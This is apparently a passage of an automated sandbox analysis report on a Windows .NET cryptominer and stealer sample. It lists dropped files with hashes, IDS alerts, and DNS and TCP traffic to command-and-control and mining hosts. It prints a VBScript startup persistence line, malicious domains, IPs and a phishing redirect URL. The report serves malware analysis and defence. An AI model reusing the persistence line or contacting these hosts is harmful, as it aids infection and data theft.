	mips.elf	Get hash	malicious	Mirai	Browse	156.226.9.180
	https://u48551708.ct.sendgrid.net/ls/click?upn=u001.ztPEaTmy8WofhPYJ48HDSCunUq5pm5yTGRhe-2B0bVSngC8hMYiy6PgMy1xJOG8JJZaOsK-2FG9SE7UmhEzeQSXDmEf7Z3nlXZDH-2BW1HSMP6c8uYUvXDTaJRyLbPDV6bI3nnDyIlM0OJKevMwAF04rpfLmQEYS641NQTMU227kkOtBQgQK-2FNlHeN6DpPMLDgH6kuMS3X_2vbC1nrAFjePip8HYuHYOlkYXiy7Z-2FrO9MQN7lNoEgxRkovUJGAEvKvTFyRmFsa9AQlcDpFhpJzgHajMOC0yWTZOc2DdmxhrlyPvteyXbl8nlhAtf2p-2FHw4RnlZ8cxDY-2BWJeBsszGnsrXuNOI8LpL5ZYI3ad04OdxC8tHHA5tO-2Be1xS3Z9Z3VrOTM-2FT5ptoYnx5N-2FTYKQ13RZ-2FookVMhAtJ6OV43Zayd1qOmHGLwUI8-3D	Get hash	malicious	Phisher	Browse	154.216.20.188
	Reqt 83291.vbs	Get hash	malicious	Remcos, GuLoader	Browse	154.216.18.62
	RH74mYjwoQ.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	tgCdafZIfZ.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	LiUgL2AoGI.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
	hax.mpsl.elf	Get hash	malicious	Mirai	Browse	156.230.19.183
	16RIueF7yh.elf	Get hash	malicious	Mirai	Browse	154.216.16.109
DAPLDATAPLANETLtdRU	http://www.pixelpromo.ru/bitrix/redirect.php?event1=click_to_call&event2=&event3=&goto=https://oR.smelsgycz.ru/OP4lIHE/#Dinfo@test.uk.com	Get hash	malicious	Unknown	Browse	93.188.41.36
	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse	37.203.243.102
	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse	37.203.243.102
	lokigod.exe	Get hash	malicious	Xmrig	Browse	37.203.243.102
	xblkpfZ8Y4.exe	Get hash	malicious	Xmrig	Browse	37.203.243.102
	v859oajfVH.elf	Get hash	malicious	Unknown	Browse	37.203.242.178
	oAUrOBvfbV.elf	Get hash	malicious	Mirai	Browse	93.188.42.246
	x86_64-20220704-2102	Get hash	malicious	Mirai	Browse	93.188.42.210
	9faoC0drSo	Get hash	malicious	Mirai	Browse	93.188.42.249
	arm	Get hash	malicious	Mirai	Browse	93.188.42.224

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\orupcopicsyv.sys	5EZLEXDveC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	6R0yrvM8Hk.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	Step 3 - Setup_Install.exe	Get hash	malicious	Xmrig	Browse
	Step 3 - Setup_Install.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse
	IYXE4Uz61k.exe	Get hash	malicious	DCRat, PureLog Stealer, Xmrig, zgRAT	Browse
	file.exe	Get hash	malicious	Amadey, DCRat, DarkVision Rat, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse
	nlGOh9K5X5.exe	Get hash	malicious	Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_12fieoef.n4o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gwjvnygk.wmz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hxrl4fq0.lh1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yd1puzls.wsg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\orupcopicsyv.sys

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: 5EZLEXDveC.exe, Detection: malicious, Browse Filename: 6R0yrvM8Hk.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Step 3 - Setup_Install.exe, Detection: malicious, Browse Filename: Step 3 - Setup_Install.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: IYXE4Uz61k.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: nlGOh9K5X5.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	91
Entropy (8bit):	4.8416088276406555
Encrypted:	false
SSDEEP:	3:FER/n0eFHHoUkh4EaKC59KMWRAI0Enn:FER/lFHI9aZ5bHnEn
MD5:	2623A9CF3392E6ACCBC4CDDB6850ED99
SHA1:	ED30600FFC04D8D17FFB03E2EDA871AD33B95DD7
SHA-256:	236D18CD26DF49DDE5A64EDB62EB7A8DB149DC3ECEB7661B2C10D99BFE15DC9A
SHA-512:	65FA8B66379574315C0445ADD4734437C2247188342437D4159EE3EF39F28ED717AB199A15DD038C45D6CC610F137E1473F18C3575AD3DF02F13BFD6A2D318C2
Malicious:	true
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\WindosCPUsystem.exe"""

C:\Users\user\AppData\Roaming\WindosCPUsystem.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5876736
Entropy (8bit):	7.987361799164257
Encrypted:	false
SSDEEP:	98304:IF8Jy4t4FcDjggommtmnxa2rfmHV0Vzd/MQdpPPz/8ionsZk/6T0UT6dSG:G8JcFcAxkx1rfyV6nLPPwNsZe6vG
MD5:	53E3F2BACA38239BD6025B9E18E5F202
SHA1:	C8D0D5D1FCCE95E253AD60D639F418AB3D98F094
SHA-256:	012789B93B6D8186346FD774B7E428A8982C409B59FA845BA196AE89AC6706CB
SHA-512:	0B5132E9C127C428AC6109F45834F62B5F38EFE6D36011E5FC2D6B5557DE5E41DA7A5000269D290262368CF9DA1FDFE784B830A211B7B4A680BAD455DDD86420
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....Z[g..........".......Y.............. ....@...... ........................Z...........`...@......@............... ................................Y.............................................................................................. ..H............text.....Y.. ....Y................. ..`.rsrc.........Y.......Y.............@..@........................................H...........@Y..........DC..H.V..........................................(....(}.....(j....~....-.r...p.....+.+.+......~....(k...+.ol...+.sm...+..~......+.......+..+.r9..p~....+.t....(....+.on...+...+.{.....+.B+.+.}.....+..+......(j...~ .....i...%.x...+......(o...+.:.(p.....}......+.{.....+.V..}.....(j.....}.......+.{.....+.B+.+.}.....+..+.....+.{.....+..+.{.....+..+.{.....+..+.{.....+.B+.+.}.....+..+.....0..l.......+G{....-#+A+B{....{....+9{....+5{....+1}.....-.+

C:\Users\user\AppData\Roaming\WindosCPUsystem.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.987361799164257
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	file.exe
File size:	5'876'736 bytes
MD5:	53e3f2baca38239bd6025b9e18e5f202
SHA1:	c8d0d5d1fcce95e253ad60d639f418ab3d98f094
SHA256:	012789b93b6d8186346fd774b7e428a8982c409b59fa845ba196ae89ac6706cb
SHA512:	0b5132e9c127c428ac6109f45834f62b5f38efe6d36011e5fc2d6b5557de5e41da7a5000269d290262368cf9da1fdfe784b830a211b7b4a680bad455ddd86420
SSDEEP:	98304:IF8Jy4t4FcDjggommtmnxa2rfmHV0Vzd/MQdpPPz/8ionsZk/6T0UT6dSG:G8JcFcAxkx1rfyV6nLPPwNsZe6vG
TLSH:	0346334D339A2AA0F2E563BE94E171440735F992D28AD7662AA024F64C3F3564DC3F27
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....Z[g..........".......Y.............. ....@...... ........................Z...........`...@......@............... .....

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x675B5A17 [Thu Dec 12 21:48:07 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59e000	0x58e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x59a28c	0x59a400	712320b9c8216a1e95d606fa09f7d03c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x59e000	0x58e	0x600	317d4042848e9220345c8815028751c7	False	0.41796875	data	4.073569947069976	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x59e05c	0x30c	data			0.4230769230769231
RT_MANIFEST	0x59e3a4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-12T20:36:19.985337+0100	2036289	ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)	2	192.168.2.5	64047	1.1.1.1	53	UDP
2024-12-12T20:36:23.813794+0100	2054247	ET MALWARE SilentCryptoMiner Agent Config Inbound	1	154.216.20.243	443	192.168.2.5	49705	TCP
2024-12-12T20:36:26.424321+0100	2044697	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3	1	192.168.2.5	49707	154.216.20.243	443	TCP
2024-12-12T20:37:23.355991+0100	2044697	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3	1	192.168.2.5	49835	154.216.20.243	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 20:36:20.245138884 CET	49704	3333	192.168.2.5	37.203.243.102
Dec 12, 2024 20:36:20.365001917 CET	3333	49704	37.203.243.102	192.168.2.5
Dec 12, 2024 20:36:20.366039991 CET	49704	3333	192.168.2.5	37.203.243.102
Dec 12, 2024 20:36:20.369039059 CET	49704	3333	192.168.2.5	37.203.243.102
Dec 12, 2024 20:36:20.490075111 CET	3333	49704	37.203.243.102	192.168.2.5
Dec 12, 2024 20:36:21.698484898 CET	3333	49704	37.203.243.102	192.168.2.5
Dec 12, 2024 20:36:21.698689938 CET	3333	49704	37.203.243.102	192.168.2.5
Dec 12, 2024 20:36:21.698750019 CET	49704	3333	192.168.2.5	37.203.243.102
Dec 12, 2024 20:36:21.822045088 CET	49705	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:21.822093010 CET	443	49705	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:21.822149038 CET	49705	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:21.834323883 CET	49705	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:21.834343910 CET	443	49705	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:23.278712988 CET	443	49705	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:23.279824018 CET	49705	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:23.279851913 CET	443	49705	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:23.281891108 CET	443	49705	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:23.281964064 CET	49705	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:23.284075022 CET	49705	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:23.284169912 CET	443	49705	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:23.284245014 CET	49705	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:23.284252882 CET	443	49705	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:23.330208063 CET	49705	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:23.813343048 CET	443	49705	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:23.813534975 CET	443	49705	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:23.813838005 CET	49705	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:23.814999104 CET	49705	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:23.815017939 CET	443	49705	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:23.847588062 CET	49704	3333	192.168.2.5	37.203.243.102
Dec 12, 2024 20:36:23.847588062 CET	49704	3333	192.168.2.5	37.203.243.102
Dec 12, 2024 20:36:24.436491966 CET	49707	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:24.436534882 CET	443	49707	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:24.436656952 CET	49707	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:24.445790052 CET	49707	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:24.445802927 CET	443	49707	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:25.877960920 CET	443	49707	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:25.881087065 CET	49707	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:25.881113052 CET	443	49707	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:25.883156061 CET	443	49707	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:25.883228064 CET	49707	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:25.885232925 CET	49707	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:25.885324955 CET	443	49707	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:25.885521889 CET	49707	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:25.885530949 CET	443	49707	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:25.939697027 CET	49707	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:26.424405098 CET	443	49707	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:26.424562931 CET	443	49707	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:26.428697109 CET	49707	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:26.439775944 CET	49707	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:36:26.439804077 CET	443	49707	154.216.20.243	192.168.2.5
Dec 12, 2024 20:36:27.229688883 CET	49713	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:36:27.356483936 CET	4444	49713	192.168.0.100	192.168.2.5
Dec 12, 2024 20:36:27.356563091 CET	49713	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:36:27.356874943 CET	49713	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:36:27.477278948 CET	4444	49713	192.168.0.100	192.168.2.5
Dec 12, 2024 20:36:48.050609112 CET	49713	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:36:48.211554050 CET	4444	49713	192.168.0.100	192.168.2.5
Dec 12, 2024 20:36:49.287113905 CET	4444	49713	192.168.0.100	192.168.2.5
Dec 12, 2024 20:36:49.287247896 CET	49713	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:36:53.534205914 CET	49772	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:36:53.654125929 CET	4444	49772	192.168.0.100	192.168.2.5
Dec 12, 2024 20:36:53.654217958 CET	49772	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:36:53.654488087 CET	49772	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:36:53.774846077 CET	4444	49772	192.168.0.100	192.168.2.5
Dec 12, 2024 20:37:14.143059015 CET	49772	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:37:14.311340094 CET	4444	49772	192.168.0.100	192.168.2.5
Dec 12, 2024 20:37:15.553539038 CET	4444	49772	192.168.0.100	192.168.2.5
Dec 12, 2024 20:37:15.553653002 CET	49772	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:37:19.224462032 CET	49830	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:37:19.350164890 CET	4444	49830	192.168.0.100	192.168.2.5
Dec 12, 2024 20:37:19.350385904 CET	49830	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:37:19.350559950 CET	49830	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:37:19.474194050 CET	4444	49830	192.168.0.100	192.168.2.5
Dec 12, 2024 20:37:21.273200989 CET	49835	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:37:21.273232937 CET	443	49835	154.216.20.243	192.168.2.5
Dec 12, 2024 20:37:21.273303032 CET	49835	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:37:21.292215109 CET	49835	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:37:21.292227983 CET	443	49835	154.216.20.243	192.168.2.5
Dec 12, 2024 20:37:22.793664932 CET	443	49835	154.216.20.243	192.168.2.5
Dec 12, 2024 20:37:22.795440912 CET	49835	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:37:22.795469999 CET	443	49835	154.216.20.243	192.168.2.5
Dec 12, 2024 20:37:22.799036026 CET	443	49835	154.216.20.243	192.168.2.5
Dec 12, 2024 20:37:22.799149990 CET	49835	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:37:22.801765919 CET	49835	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:37:22.802009106 CET	443	49835	154.216.20.243	192.168.2.5
Dec 12, 2024 20:37:22.802129030 CET	49835	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:37:22.802135944 CET	443	49835	154.216.20.243	192.168.2.5
Dec 12, 2024 20:37:22.845966101 CET	49835	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:37:23.355900049 CET	443	49835	154.216.20.243	192.168.2.5
Dec 12, 2024 20:37:23.356072903 CET	443	49835	154.216.20.243	192.168.2.5
Dec 12, 2024 20:37:23.356156111 CET	49835	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:37:23.362062931 CET	49835	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:37:23.362062931 CET	49835	443	192.168.2.5	154.216.20.243
Dec 12, 2024 20:37:23.362087011 CET	443	49835	154.216.20.243	192.168.2.5
Dec 12, 2024 20:37:39.752455950 CET	49830	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:37:39.915656090 CET	4444	49830	192.168.0.100	192.168.2.5
Dec 12, 2024 20:37:41.319206953 CET	4444	49830	192.168.0.100	192.168.2.5
Dec 12, 2024 20:37:41.321799040 CET	49830	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:37:44.955976963 CET	49889	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:37:45.076216936 CET	4444	49889	192.168.0.100	192.168.2.5
Dec 12, 2024 20:37:45.076329947 CET	49889	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:37:45.076581001 CET	49889	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:37:45.196553946 CET	4444	49889	192.168.0.100	192.168.2.5
Dec 12, 2024 20:38:05.143121958 CET	49889	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:38:05.311374903 CET	4444	49889	192.168.0.100	192.168.2.5
Dec 12, 2024 20:38:06.960567951 CET	4444	49889	192.168.0.100	192.168.2.5
Dec 12, 2024 20:38:06.960642099 CET	49889	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:38:11.422194004 CET	49949	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:38:11.542934895 CET	4444	49949	192.168.0.100	192.168.2.5
Dec 12, 2024 20:38:11.546869040 CET	49949	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:38:11.547072887 CET	49949	4444	192.168.2.5	192.168.0.100
Dec 12, 2024 20:38:11.667231083 CET	4444	49949	192.168.0.100	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 20:36:19.985337019 CET	64047	53	192.168.2.5	1.1.1.1
Dec 12, 2024 20:36:20.241322041 CET	53	64047	1.1.1.1	192.168.2.5
Dec 12, 2024 20:36:21.247344017 CET	58583	53	192.168.2.5	1.1.1.1
Dec 12, 2024 20:36:21.820828915 CET	53	58583	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 12, 2024 20:36:19.985337019 CET	192.168.2.5	1.1.1.1	0x90b2	Standard query (0)	pool.hashvault.pro	A (IP address)	IN (0x0001)	false
Dec 12, 2024 20:36:21.247344017 CET	192.168.2.5	1.1.1.1	0xe7c0	Standard query (0)	woo097878781.win	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 12, 2024 20:36:20.241322041 CET	1.1.1.1	192.168.2.5	0x90b2	No error (0)	pool.hashvault.pro	37.203.243.102	A (IP address)	IN (0x0001)	false
Dec 12, 2024 20:36:20.241322041 CET	1.1.1.1	192.168.2.5	0x90b2	No error (0)	pool.hashvault.pro	5.188.137.200	A (IP address)	IN (0x0001)	false
Dec 12, 2024 20:36:21.820828915 CET	1.1.1.1	192.168.2.5	0xe7c0	No error (0)	woo097878781.win	154.216.20.243	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

woo097878781.win

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
